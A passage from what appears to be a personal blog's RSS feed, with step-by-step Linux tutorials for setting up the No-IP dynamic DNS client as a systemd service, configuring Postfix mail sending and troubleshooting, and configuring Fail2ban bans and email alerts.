&lt;p&gt;No-IP is a Free Dynamic DNS and Managed DNS Provider, that we can use to get a free domain name. There a lot of free Dynamic DNS services, &lt;a href="https://www.gnutomorrow.com/best-free-dynamic-dns-services/"&gt;you can find a good comprehensive of them here&lt;/a&gt; that we can choose from, but this was the first service that I personally tried.&lt;/p&gt;
&lt;p&gt;The good with this service is that we have a big selection of free domain names that we can choose, so we can easily find a domain that is available for the hostname we want to have.&lt;/p&gt;
&lt;p&gt;The negative is that every 30 days they send a notification email, and we have to sign in to &lt;a href="https://www.noip.com"&gt;www.noip.com&lt;/a&gt; and confirm that we still use the hostname. After some time that I have used the service, I can say that it becomes annoying to verify it once every month.&lt;/p&gt;
&lt;h2 id="install--configure-noip2"&gt;
Install &amp;amp; Configure noip2
&lt;a href="#install--configure-noip2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="login-as-root"&gt;
Login as root
&lt;a href="#login-as-root" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo su
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="type-the-following-commands"&gt;
Type the following commands:
&lt;a href="#type-the-following-commands" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /usr/local/src/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget http://www.noip.com/client/linux/noip-duc-linux.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tar xf noip-duc-linux.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd noip-2.1.9-1/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make install
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="on-the-configuration-stage"&gt;
On the configuration stage:
&lt;a href="#on-the-configuration-stage" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Add email and password.&lt;/li&gt;
&lt;li&gt;The hostname to update (choose only one).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="to-launch-the-client"&gt;
To launch the client
&lt;a href="#to-launch-the-client" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/local/bin/noip2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;NOTE: You have to stop it to make it a service later.&lt;/p&gt;
&lt;h2 id="add-an-executable-noip2-as-a-service"&gt;
Add an executable (noip2) as a service
&lt;a href="#add-an-executable-noip2-as-a-service" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="create-noip2service-in-etcsystemdsystem"&gt;
Create &lt;code&gt;noip2.service&lt;/code&gt; in &lt;code&gt;/etc/systemd/system&lt;/code&gt;
&lt;a href="#create-noip2service-in-etcsystemdsystem" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;And add the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[Unit]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Description&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;No-Ip Dynamic DNS Update Service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;After&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;network.service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[Service]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;forking&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ExecStart&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/usr/local/bin/noip2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[Install]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;WantedBy&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;default.target&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="restart-systemctl-to-accept-changes"&gt;
Restart systemctl to accept changes
&lt;a href="#restart-systemctl-to-accept-changes" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl daemon-reload
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enable-service"&gt;
Enable service
&lt;a href="#enable-service" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl enable noip2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="start-service"&gt;
Start service
&lt;a href="#start-service" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl start noip2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="restart-service"&gt;
Restart service
&lt;a href="#restart-service" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;With a restart, it updates the public IP:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart noip2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="see-logs"&gt;
See logs
&lt;a href="#see-logs" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo journalctl -u noip2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.noip.com/support/knowledgebase/installing-the-linux-dynamic-update-client-on-ubuntu/"&gt;No-IP - How to Install the Linux Dynamic Update Client on Ubuntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jeroendoggen/scripts-tools-misc/tree/master/noip2"&gt;noip2: Debian &amp;amp; systemd&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://askubuntu.com/questions/903411/how-do-i-set-up-no-ip-as-a-proper-service"&gt;Stackoverflow - How do I set up No-IP as a proper service?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Postfix Configure</title><link>https://thanoskoutr.com/posts/postfix-configure/</link><pubDate>Wed, 09 Dec 2020 19:12:00 +0200</pubDate><guid>https://thanoskoutr.com/posts/postfix-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/postfix.gif"/&gt;
&lt;h2 id="install-postfix"&gt;
Install Postfix
&lt;a href="#install-postfix" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Install postfix and mailutils if not already installed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install postfix mailutils
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="postfix-configuration-screen"&gt;
Postfix Configuration Screen
&lt;a href="#postfix-configuration-screen" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In the screens, that will show up when installing postfix:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;General type of mail configuration:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Choose Internet Site&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;System mail name:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It will be the domain part of our emails, so if you choose the default&lt;/li&gt;
&lt;li&gt;which is the systems hostname e.g. &lt;code&gt;serverhostname&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;Postfix will use the address &lt;code&gt;someuser@serverhostname&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;You can use &lt;code&gt;serverhostname.com&lt;/code&gt; also.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="configure-postfix-to-send-to-gmail"&gt;
Configure Postfix to send to Gmail
&lt;a href="#configure-postfix-to-send-to-gmail" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;NEEDS TO BE FILLED&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="check-email-sending"&gt;
Check Email Sending:
&lt;a href="#check-email-sending" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;This is test body&amp;#34;&lt;/span&gt; | mail -s &lt;span style="color:#e6db74"&gt;&amp;#34;testing&amp;#34;&lt;/span&gt; youremailaddress@gmail.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="check-for-errors"&gt;
Check for Errors
&lt;a href="#check-for-errors" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="check-logs"&gt;
Check logs
&lt;a href="#check-logs" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /var/log/mail.log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /var/log/mail.err
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /var/log/daemon.log
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="check-queued-emails"&gt;
Check queued emails
&lt;a href="#check-queued-emails" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mailq
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="try-resending-emails-in-queue"&gt;
Try resending emails in queue:
&lt;a href="#try-resending-emails-in-queue" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sendmail -q
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="check-postfix-status"&gt;
Check postfix status
&lt;a href="#check-postfix-status" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/init.d/postfix status
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="check-postfix-configuration"&gt;
Check postfix configuration
&lt;a href="#check-postfix-configuration" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;postfix check
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="open-new-mail"&gt;
Open new mail
&lt;a href="#open-new-mail" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /var/spool/mail/$USER
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Fail2ban Configure</title><link>https://thanoskoutr.com/posts/fail2ban-configure/</link><pubDate>Wed, 09 Dec 2020 18:02:00 +0200</pubDate><guid>https://thanoskoutr.com/posts/fail2ban-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/fail2ban.png"/&gt;
&lt;h2 id="install-fail2ban"&gt;
Install Fail2ban
&lt;a href="#install-fail2ban" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install fail2ban
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="check-installation"&gt;
Check Installation
&lt;a href="#check-installation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Once the installation is completed, the Fail2ban service will start automatically.
You can verify it by checking the status of the service:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl status fail2ban
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="configure-fail2ban"&gt;
Configure Fail2ban
&lt;a href="#configure-fail2ban" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="create-local-configuration-file"&gt;
Create local configuration file
&lt;a href="#create-local-configuration-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The configuration file are in &lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt;, &lt;code&gt;/etc/fail2ban/jail.d/defaults-debian.conf&lt;/code&gt;.
Its best to not modify these, as they can be overwritten with an update.&lt;/p&gt;
&lt;p&gt;The easiest way is, to copy the &lt;code&gt;jail.conf&lt;/code&gt; to &lt;code&gt;jail.local&lt;/code&gt; and edit this,
with your own configurations:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo cp /etc/fail2ban/jail.&lt;span style="color:#f92672"&gt;{&lt;/span&gt;conf,local&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You &lt;code&gt;*.local&lt;/code&gt; file does not have to include all settings from
the corresponding &lt;code&gt;.conf&lt;/code&gt; file, only those you want to override.&lt;/p&gt;
&lt;h4 id="edit-configuration-file"&gt;
Edit configuration file
&lt;a href="#edit-configuration-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Open the &lt;code&gt;*.local&lt;/code&gt; configuration file with your text editor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/fail2ban/jail.local
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The file includes comments describing what each configuration option does.&lt;/p&gt;
&lt;h3 id="whitelist-ip-addresses"&gt;
Whitelist IP Addresses
&lt;a href="#whitelist-ip-addresses" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;IP addresses, IP ranges, or hosts that you want to exclude from banning
can be added to the &lt;code&gt;ignoreip&lt;/code&gt; directive.
You can add your local PC IP and all other machines that you want to whitelist.&lt;/p&gt;
&lt;p&gt;Uncomment the line starting with &lt;code&gt;ignoreip&lt;/code&gt;
and add your IP addresses separated by space:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-conf" data-lang="conf"&gt;ignoreip = 127.0.0.1/8 ::1 192.168.1.0/24
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="change-ban-settings"&gt;
Change Ban Settings
&lt;a href="#change-ban-settings" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The values of &lt;code&gt;bantime&lt;/code&gt;, &lt;code&gt;findtime&lt;/code&gt;, and &lt;code&gt;maxretry&lt;/code&gt; options
define the ban time and ban conditions.&lt;/p&gt;
&lt;h4 id="bantime"&gt;
&lt;code&gt;bantime&lt;/code&gt;
&lt;a href="#bantime" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Is the duration for which the IP is banned.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When no suffix is specified, it defaults to seconds.&lt;/li&gt;
&lt;li&gt;By default, the &lt;code&gt;bantime&lt;/code&gt; value is set to 10 minutes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Change the value to e.g. 1 day:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-conf" data-lang="conf"&gt;bantime = 1d
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="findtime"&gt;
&lt;code&gt;findtime&lt;/code&gt;
&lt;a href="#findtime" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Is the duration between the number of failures before a ban is set.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For example, if Fail2ban is set to ban an IP after five failures
those failures must occur within the &lt;code&gt;findtime&lt;/code&gt; duration.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Change the value to e.g. 10 minutes:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-conf" data-lang="conf"&gt;findtime = 10m
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="maxretry"&gt;
&lt;code&gt;maxretry&lt;/code&gt;
&lt;a href="#maxretry" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Is the number of failures before an IP is banned.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The default value is set to five.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Change the value to e.g. 10 max retries:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-conf" data-lang="conf"&gt;maxretry = 10
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="email-notifications"&gt;
Email Notifications
&lt;a href="#email-notifications" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Fail2ban can send email alerts when an IP has been banned.
To receive emails, you need to have an SMTP installed on your server.
&lt;em&gt;It works well with postfix&lt;/em&gt;&lt;/p&gt;
&lt;h4 id="change-action-to-send-emails"&gt;
Change action to send emails
&lt;a href="#change-action-to-send-emails" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;On the fail2ban server you need to change the default action,
which only bans the IP to &lt;code&gt;%(action_)s&lt;/code&gt;, to:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-conf" data-lang="conf"&gt;action = %(action_mw)s
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This action, bans the offending IP and sends an email with a whois report.
If you want to include the relevant logs in the email,
set the action to &lt;code&gt;%(action_mwl)s&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id="adjust-mail-addresses"&gt;
Adjust mail addresses
&lt;a href="#adjust-mail-addresses" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;You also need to adjust the sending and receiving email address:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-conf" data-lang="conf"&gt;destemail = youremailaddress@gmail.com
sender = fail2ban
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="restart-fail2ban-service"&gt;
Restart Fail2ban service
&lt;a href="#restart-fail2ban-service" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Each time you edit a configuration file, you need to restart the Fail2ban service
for changes to take effect:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart fail2ban
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="fail2ban-client"&gt;
Fail2ban Client
&lt;a href="#fail2ban-client" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Fail2ban ships with a command-line tool named fail2ban-client,
that you can use to interact with the Fail2ban service.
This tool can be used to ban/unban IP addresses, change settings,
restart the service, and more.&lt;/p&gt;
&lt;h3 id="view-all-available-options"&gt;
View all available options
&lt;a href="#view-all-available-options" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fail2ban-client -h
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="check-the-status-of-the-server"&gt;
Check the status of the server
&lt;a href="#check-the-status-of-the-server" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo fail2ban-client status
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="check-the-jail-status"&gt;
Check the jail status
&lt;a href="#check-the-jail-status" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo fail2ban-client status sshd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="unban-an-ip"&gt;
Unban an IP
&lt;a href="#unban-an-ip" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo fail2ban-client set sshd unbanip 23.34.45.56
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="ban-an-ip"&gt;
Ban an IP
&lt;a href="#ban-an-ip" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
